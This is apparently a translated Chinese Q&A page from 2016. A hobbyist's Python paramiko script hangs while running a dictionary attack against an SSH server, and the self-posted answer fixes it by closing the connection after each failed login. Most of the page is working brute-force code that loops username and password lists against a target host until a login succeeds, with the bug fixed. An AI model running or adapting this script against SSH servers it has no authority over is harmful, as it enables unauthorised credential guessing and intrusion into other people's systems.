Python脚本似乎挂起

时间:2016-03-21 23:18:20

标签: python ssh python-2.x

我有一台SSH服务器,我一直在测试一个执行基于字典的攻击的脚本。通常,我使用一个用户名:密码组合文件并循环访问它,但最近我决定修改我的爱好脚本以允许单独的用户名和密码组合。我认为这将是一个简单的嵌套循环(我选择将密码存储在列表中而不是我用于用户名的文件中)。不幸的是,添加第二个循环似乎导致程序挂起由于某种原因我无法精确定位。我觉得我在这里错过了一些非常明显的东西。该程序执行正常并按预期工作但它似乎永远不会返回...脚本只是在找到正确的组合后挂起并且永远不会正常退出...我必须手动终止它。有问题的块在下面...这是我从主脚本调用的类中的一个更大的方法的一部分。调用该方法,然后主脚本退出,因此没有任何东西会导致这种情况。

with open(self.pwds) as p:
    pwords = p.read().splitlines()
    try:
        format_text = colored('WARNING', 'yellow', attrs=['underline'])
    except:
        format_text = "WARNING"
    print (format_text, "warning_message")
    with open(self.words) as w:
        for line in w:
            line = line.replace("\n", "")
            user = line
            for x in pwords:
                passw = x
                print ("Trying: ", user, ":", passw)
                s = paramiko.SSHClient()
                s.set_missing_host_key_policy(paramiko.AutoAddPolicy())
                try:
                    s.connect(self.target, username=user, password=passw, timeout=3)
                except paramiko.ssh_exception.AuthenticationException:
                    try:
                        format_text = colored('FAILED', 'red')
                    except:
                        format_text = 'FAILED'
                        print (format_text)
                else:
                    print ("SUCCESS!")
                    s.close()
                    return;

1 个答案:

答案 0 :(得分:0)

感谢大家尝试解决这个问题。我找到了答案。即使失败,我也需要关闭SSH连接,如下所示。

                try:
                    s.connect(self.target, username=user, password=passw, timeout=3)
                except paramiko.ssh_exception.AuthenticationException:
                    try:
                        format_text = colored('FAILED', 'red')
                    except:
                        format_text = 'FAILED'
                        print (format_text)
                        s.close()
                else:
                    print ("SUCCESS!")
                    s.close()
                    return;